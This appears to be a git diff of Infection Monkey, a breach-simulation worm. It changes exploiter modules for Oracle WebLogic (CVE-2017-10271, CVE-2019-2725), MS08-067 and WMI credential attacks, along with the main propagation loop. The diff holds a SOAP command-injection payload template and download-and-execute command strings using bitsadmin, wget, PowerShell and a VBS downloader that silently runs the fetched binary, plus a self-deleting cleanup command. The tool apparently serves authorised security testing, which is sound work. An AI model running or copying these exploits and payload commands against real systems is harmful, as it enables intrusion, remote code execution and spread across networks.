CHMOD_MONKEY % {'monkey_path': monkey_path} + change_permission = str.encode(str(change_permission) + '\n') + LOG.info("change_permission command is %s", change_permission) + backdoor_socket.send(change_permission) + T1222Telem(ScanStatus.USED, change_permission, self.host).send() + + # Run monkey on the machine + parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) + run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} + + # Set unlimited to memory + # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit + run_monkey = ULIMIT_V + UNLIMITED + run_monkey + run_monkey = str.encode(str(run_monkey) + '\n') + time.sleep(FTP_TIME_BUFFER) + if backdoor_socket.send(run_monkey): + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, + self.host, run_monkey) + self.add_executed_cmd(run_monkey) + return True + else: + return False diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 945e45f5d..5f408af79 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,8 +5,12 @@ from abc import abstractmethod from infection_monkey.exploit import HostExploiter from infection_monkey.model import * -from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service +from infection_monkey.telemetry.attack.t1197_telem import T1197Telem +from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'VakarisZ' @@ -64,7 +68,7 @@ class WebRCE(HostExploiter): return exploit_config - def exploit_host(self): + def _exploit_host(self): """ Method that contains default exploitation workflow :return: True if exploited, False otherwise @@ -207,13 +211,12 @@ class WebRCE(HostExploiter): """ for url in urls: if self.check_if_exploitable(url): + self.add_vuln_url(url) self.vulnerable_urls.append(url) if stop_checking: break if not self.vulnerable_urls: LOG.info("No vulnerable urls found, skipping.") - # We add urls to param used in reporting - self._exploit_info['vulnerable_urls'] = self.vulnerable_urls def get_host_arch(self, url): """ @@ -306,7 +309,8 @@ class WebRCE(HostExploiter): """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) return resp @@ -336,7 +340,7 @@ class WebRCE(HostExploiter): command = self.get_command(paths['dest_path'], http_path, commands) resp = self.exploit(url, command) - + self.add_executed_cmd(command) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) http_thread.join(DOWNLOAD_TIMEOUT) @@ -364,8 +368,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {'monkey_path': path} try: resp = self.exploit(url, command) + T1222Telem(ScanStatus.USED, command, self.host).send() except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) + T1222Telem(ScanStatus.SCANNED, "", self.host).send() return False # If exploiter returns True / False if type(resp) is bool: @@ -406,6 +412,7 @@ class WebRCE(HostExploiter): # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") + self.add_executed_cmd(command) return resp # If exploiter returns command output, we can check for execution errors if 'is not recognized' in resp or 'command not found' in resp: @@ -418,6 +425,8 @@ class WebRCE(HostExploiter): LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) return False LOG.info("Execution attempt finished") + + self.add_executed_cmd(command) return resp def get_monkey_upload_path(self, url_to_monkey): diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 6d0748426..e1ceb29fd 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -1,3 +1,50 @@ +from __future__ import print_function +import threading +import logging +import time +import copy + +from requests import post, exceptions +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.network.info import get_free_tcp_port +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for get request in seconds +SERVER_TIMEOUT = 4 +# How long should we wait after each request in seconds +REQUEST_DELAY = 0.1 +# How long to wait for a sign(request from host) that server is vulnerable. In seconds +REQUEST_TIMEOUT = 5 +# How long to wait for response in exploitation. In seconds +EXECUTION_TIMEOUT = 15 +# Malicious requests' headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" +} + + +class WebLogicExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Weblogic' + + def _exploit_host(self): + exploiters = [WebLogic20192725, WebLogic201710271] + for exploiter in exploiters: + if exploiter(self.host).exploit_host(): + return True + + # Exploit based of: # Kevin Kirsche (d3c3pt10n) # https://github.com/kkirsche/CVE-2017-10271 @@ -5,56 +52,29 @@ # Luffin from Github # https://github.com/Luffin/CVE-2017-10271 # CVE: CVE-2017-10271 +class WebLogic201710271(WebRCE): + URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] -from requests import post, exceptions -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target -from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer - -import threading -import logging -import time - -__author__ = "VakarisZ" - -LOG = logging.getLogger(__name__) -# How long server waits for get request in seconds -SERVER_TIMEOUT = 4 -# How long should be wait after each request in seconds -REQUEST_DELAY = 0.0001 -# How long to wait for a sign(request from host) that server is vulnerable. In seconds -REQUEST_TIMEOUT = 5 -# How long to wait for response in exploitation. In seconds -EXECUTION_TIMEOUT = 15 -URLS = ["/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11"] -# Malicious request's headers: -HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" - } - - -class WebLogicExploiter(WebRCE): - _TARGET_OS_TYPE = ['linux', 'windows'] + _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE + _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): - super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', + super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh', 'win32': 'monkey32.exe', 'win64': 'monkey64.exe'}) def get_exploit_config(self): - exploit_config = super(WebLogicExploiter, self).get_exploit_config() + exploit_config = super(WebLogic201710271, self).get_exploit_config() exploit_config['blind_exploit'] = True exploit_config['stop_checking_urls'] = True - exploit_config['url_extensions'] = URLS + exploit_config['url_extensions'] = WebLogic201710271.URLS return exploit_config def exploit(self, url, command): @@ -65,8 +85,9 @@ class WebLogicExploiter(WebRCE): try: post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: - print('[!] Connection Error') - print(e) + LOG.error("Connection error: %s" % e) + return False + return True def add_vulnerable_urls(self, urls, stop_checking=False): @@ -89,7 +110,7 @@ class WebLogicExploiter(WebRCE): if httpd.get_requests > 0: # Add all urls because we don't know which one is vulnerable self.vulnerable_urls.extend(urls) - self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + self.exploit_info['vulnerable_urls'] = self.vulnerable_urls else: LOG.info("No vulnerable urls found, skipping.") @@ -194,6 +215,7 @@ class WebLogicExploiter(WebRCE): Http server built to wait for GET requests. Because oracle web logic vuln is blind, we determine if we can exploit by either getting a GET request from host or not. """ + def __init__(self, local_ip, local_port, lock, max_requests=1): self.local_ip = local_ip self.local_port = local_port @@ -210,6 +232,7 @@ class WebLogicExploiter(WebRCE): def do_GET(): LOG.info('Server received a request from vulnerable machine') self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True @@ -222,3 +245,88 @@ class WebLogicExploiter(WebRCE): def stop(self): self._stopped = True + + +# Exploit based of: +# Andres Rodriguez (acamro) +# https://github.com/rapid7/metasploit-framework/pull/11780 +class WebLogic20192725(WebRCE): + URLS = ["_async/AsyncResponseServiceHttps"] + DELAY_BEFORE_EXPLOITING_SECONDS = 5 + + _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE + _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE + + def __init__(self, host): + super(WebLogic20192725, self).__init__(host) + + def get_exploit_config(self): + exploit_config = super(WebLogic20192725, self).get_exploit_config() + exploit_config['url_extensions'] = WebLogic20192725.URLS + exploit_config['blind_exploit'] = True + exploit_config['dropper'] = True + return exploit_config + + def execute_remote_monkey(self, url, path, dropper=False): + # Without delay exploiter tries to launch monkey file that is still finishing up after downloading. + time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS) + super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper) + + def exploit(self, url, command): + if 'linux' in self.host.os['type']: + payload = self.get_exploit_payload('/bin/sh', '-c', command) + else: + payload = self.get_exploit_payload('cmd', '/c', command) + try: + resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) + return resp + except Exception as e: + LOG.error("Connection error: %s" % e) + return False + + def check_if_exploitable(self, url): + headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''}) + res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) + if res.status_code == 500 and "env:Client" in res.text: + return True + else: + return False + + @staticmethod + def get_exploit_payload(cmd_base, cmd_opt, command): + """ + Formats the payload used to exploit weblogic servers + :param cmd_base: What command prompt to use eg. cmd + :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) + :param command: command itself + :return: Formatted payload + """ + empty_payload = ''' + + + xx + xx + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + return payload diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 41b3820d5..2cf5010b2 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,11 +14,11 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from . import HostExploiter LOG = getLogger(__name__) @@ -92,7 +92,7 @@ class SRVSVC_Exploit(object): def get_telnet_port(self): """get_telnet_port() - + The port on which the Telnet service will listen. """ @@ -100,7 +100,7 @@ class SRVSVC_Exploit(object): def start(self): """start() -> socket - + Exploit the target machine and return a socket connected to it's listening Telnet service. """ @@ -153,6 +153,7 @@ class SRVSVC_Exploit(object): class Ms08_067_Exploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + _EXPLOITED_SERVICE = 'Microsoft Server Service' _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2} @@ -174,7 +175,7 @@ class Ms08_067_Exploiter(HostExploiter): self.host.os.get('version') in self._windows_versions.keys() return False - def exploit_host(self): + def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 66cc30fa9..947fd57a1 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -6,8 +6,11 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ +from infection_monkey.exploit.tools.helpers import get_target_monkey, \ get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException +from infection_monkey.exploit.tools.smb_tools import SmbTools +from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from common.utils.exploit_enum import ExploitType @@ -17,12 +20,13 @@ LOG = logging.getLogger(__name__) class WmiExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)' def __init__(self, host): super(WmiExploiter, self).__init__(host) @WmiTools.dcom_wrap - def exploit_host(self): + def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: @@ -32,8 +36,11 @@ class WmiExploiter(HostExploiter): creds = self._config.get_exploit_user_password_or_hash_product() for user, password, lm_hash, ntlm_hash in creds: - LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + password_hashed = self._config.hash_sensitive_data(password) + lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) + mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) + creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed) + LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) wmi_connection = WmiTools.WmiConnection() @@ -41,25 +48,21 @@ class WmiExploiter(HostExploiter): wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - LOG.debug("Failed connecting to %r using WMI with " - "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - LOG.debug("Failed connecting to %r using WMI with " - "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging) continue except socket.error: - LOG.debug("Network error in WMI connection to %r with " - "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + LOG.debug(("Network error in WMI connection to %r with " % self.host) + creds_for_logging) return False except Exception as exc: - LOG.debug("Unknown WMI connection error to %r with " - "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s", - self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) + LOG.debug( + ("Unknown WMI connection error to %r with " % self.host) + + creds_for_logging + + (" (%s):\n%s" % (exc, traceback.format_exc())) + ) return False self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) @@ -90,7 +93,8 @@ class WmiExploiter(HostExploiter): # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) + build_monkey_commandline( + self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) @@ -103,6 +107,8 @@ class WmiExploiter(HostExploiter): if (0 != result.ProcessId) and (0 == result.ReturnValue): LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) + + self.add_vuln_port(port='unknown') success = True else: LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", @@ -111,7 +117,8 @@ class WmiExploiter(HostExploiter): result.RemRelease() wmi_connection.close() - + self.add_executed_cmd(cmdline) return success return False + diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 6e06d4aa6..71fd582af 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -7,8 +7,9 @@ import logging.config import os import sys import traceback +from multiprocessing import freeze_support -import infection_monkey.utils as utils +from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG @@ -43,7 +44,7 @@ def main(): if 2 > len(sys.argv): return True - + freeze_support() # required for multiprocessing + pyinstaller on windows monkey_mode = sys.argv[1] if not (monkey_mode in [MONKEY_ARG, DROPPER_ARG]): @@ -68,7 +69,7 @@ def main(): else: print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,)) - print("Loaded Configuration: %r" % WormConfiguration.as_dict()) + print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())) # Make sure we're not in a machine that has the kill file kill_path = os.path.expandvars( @@ -79,10 +80,10 @@ def main(): try: if MONKEY_ARG == monkey_mode: - log_path = utils.get_monkey_log_path() + log_path = get_monkey_log_path() monkey_cls = InfectionMonkey elif DROPPER_ARG == monkey_mode: - log_path = utils.get_dropper_log_path() + log_path = get_dropper_log_path() monkey_cls = MonkeyDrops else: return True @@ -98,6 +99,7 @@ def main(): except OSError: pass LOG_CONFIG['handlers']['file']['filename'] = log_path + # noinspection PyUnresolvedReferences LOG_CONFIG['root']['handlers'].append('file') else: del LOG_CONFIG['handlers']['file'] @@ -126,8 +128,8 @@ def main(): json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': ')) return True - except Exception: - LOG.exception("Exception thrown from monkey's start function") + except Exception as e: + LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e)) finally: monkey.cleanup() diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index e6c2e63a5..3e333a26d 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable @@ -40,4 +38,4 @@ HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" -DOWNLOAD_TIMEOUT = 300 +DOWNLOAD_TIMEOUT = 180 diff --git a/monkey/infection_monkey/model/victim_host_generator.py b/monkey/infection_monkey/model/victim_host_generator.py new file mode 100644 index 000000000..1e9eba9c2 --- /dev/null +++ b/monkey/infection_monkey/model/victim_host_generator.py @@ -0,0 +1,45 @@ +from infection_monkey.model.host import VictimHost + + +class VictimHostGenerator(object): + def __init__(self, network_ranges, blocked_ips, same_machine_ips): + self.blocked_ips = blocked_ips + self.ranges = network_ranges + self.local_addresses = same_machine_ips + + def generate_victims(self, chunk_size): + """ + Generates VictimHosts in chunks from all the instances network ranges + :param chunk_size: Maximum size of each chunk + """ + chunk = [] + for net_range in self.ranges: + for victim in self.generate_victims_from_range(net_range): + chunk.append(victim) + if len(chunk) == chunk_size: + yield chunk + chunk = [] + if chunk: # finished with number of victims < chunk_size + yield chunk + + def generate_victims_from_range(self, net_range): + """ + Generates VictimHosts from a given netrange + :param net_range: Network range object + :return: Generator of VictimHost objects + """ + for address in net_range: + if not self.is_ip_scannable(address): # check if the IP should be skipped + continue + if hasattr(net_range, 'domain_name'): + victim = VictimHost(address, net_range.domain_name) + else: + victim = VictimHost(address) + yield victim + + def is_ip_scannable(self, ip_address): + if ip_address in self.local_addresses: + return False + if ip_address in self.blocked_ips: + return False + return True diff --git a/monkey/infection_monkey/model/victim_host_generator_test.py b/monkey/infection_monkey/model/victim_host_generator_test.py new file mode 100644 index 000000000..102014d45 --- /dev/null +++ b/monkey/infection_monkey/model/victim_host_generator_test.py @@ -0,0 +1,46 @@ +from unittest import TestCase +from infection_monkey.model.victim_host_generator import VictimHostGenerator +from common.network.network_range import CidrRange, SingleIpRange + + +class VictimHostGeneratorTester(TestCase): + + def setUp(self): + self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts + self.local_host_range = SingleIpRange('localhost') + self.random_single_ip_range = SingleIpRange('41.50.13.37') + + def test_chunking(self): + chunk_size = 3 + # current test setup is 15+1+1-1 hosts + test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range] + generator = VictimHostGenerator(test_ranges, '10.0.0.1', []) + victims = generator.generate_victims(chunk_size) + for i in range(5): # quickly check the equally sided chunks + self.assertEqual(len(victims.next()), chunk_size) + victim_chunk_last = victims.next() + self.assertEqual(len(victim_chunk_last), 1) + + def test_remove_blocked_ip(self): + generator = VictimHostGenerator(self.cidr_range, ['10.0.0.1'], []) + + victims = list(generator.generate_victims_from_range(self.cidr_range)) + self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked + + def test_remove_local_ips(self): + generator = VictimHostGenerator([], [], []) + generator.local_addresses = ['127.0.0.1'] + victims = list(generator.generate_victims_from_range(self.local_host_range)) + self.assertEqual(len(victims), 0) # block the local IP + + def test_generate_domain_victim(self): + # domain name victim + generator = VictimHostGenerator([], [], []) # dummy object + victims = list(generator.generate_victims_from_range(self.local_host_range)) + self.assertEqual(len(victims), 1) + self.assertEqual(victims[0].domain_name, 'localhost') + + # don't generate for other victims + victims = list(generator.generate_victims_from_range(self.random_single_ip_range)) + self.assertEqual(len(victims), 1) + self.assertEqual(victims[0].domain_name, '') diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index df7bcf820..a4c72c439 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -7,7 +7,9 @@ import time from six.moves import xrange import infection_monkey.tunnel as tunnel -import infection_monkey.utils as utils +from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir +from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.model import DELAY_DELETE_CMD @@ -15,10 +17,19 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.attack.t1107_telem import T1107Telem +from infection_monkey.telemetry.scan_telem import ScanTelem +from infection_monkey.telemetry.state_telem import StateTelem +from infection_monkey.telemetry.system_info_telem import SystemInfoTelem +from infection_monkey.telemetry.trace_telem import TraceTelem +from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from common.utils.attack_utils import ScanStatus -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus, UsageEnum __author__ = 'itamar' @@ -39,6 +50,7 @@ class InfectionMonkey(object): self._exploiters = None self._fingerprint = None self._default_server = None + self._default_server_port = None self._depth = 0 self._opts = None self._upgrading_to_64 = False @@ -59,6 +71,7 @@ class InfectionMonkey(object): self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server + if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True @@ -75,12 +88,13 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if not ControlClient.find_server(default_tunnel=self._default_tunnel): - LOG.info("Monkey couldn't find server. Going down.") + # Sets island's IP and port for monkey to communicate to + if not self.set_default_server(): return + self.set_default_port() # Create a dir for monkey files if there isn't one - utils.create_monkey_dir() + create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True @@ -92,6 +106,9 @@ class InfectionMonkey(object): ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() + if is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return @@ -103,27 +120,20 @@ class InfectionMonkey(object): if monkey_tunnel: monkey_tunnel.start() - ControlClient.send_telemetry("state", {'done': False}) - - self._default_server = WormConfiguration.current_server - LOG.debug("default server: %s" % self._default_server) - ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')}) + StateTelem(is_done=False).send() + TunnelTelem().send() if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() - ControlClient.send_telemetry("system_info_collection", system_info) - - for action_class in WormConfiguration.post_breach_actions: - action = action_class() - action.act() + SystemInfoTelem(system_info).send() + # Executes post breach actions PostBreach().execute() if 0 == WormConfiguration.depth: - LOG.debug("Reached max depth, shutting down") - ControlClient.send_telemetry("trace", "Reached max depth, shutting down") + TraceTelem("Reached max depth, shutting down").send() return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) @@ -154,8 +164,7 @@ class InfectionMonkey(object): machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) - ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), - }) + ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: @@ -172,20 +181,25 @@ class InfectionMonkey(object): if monkey_tunnel: 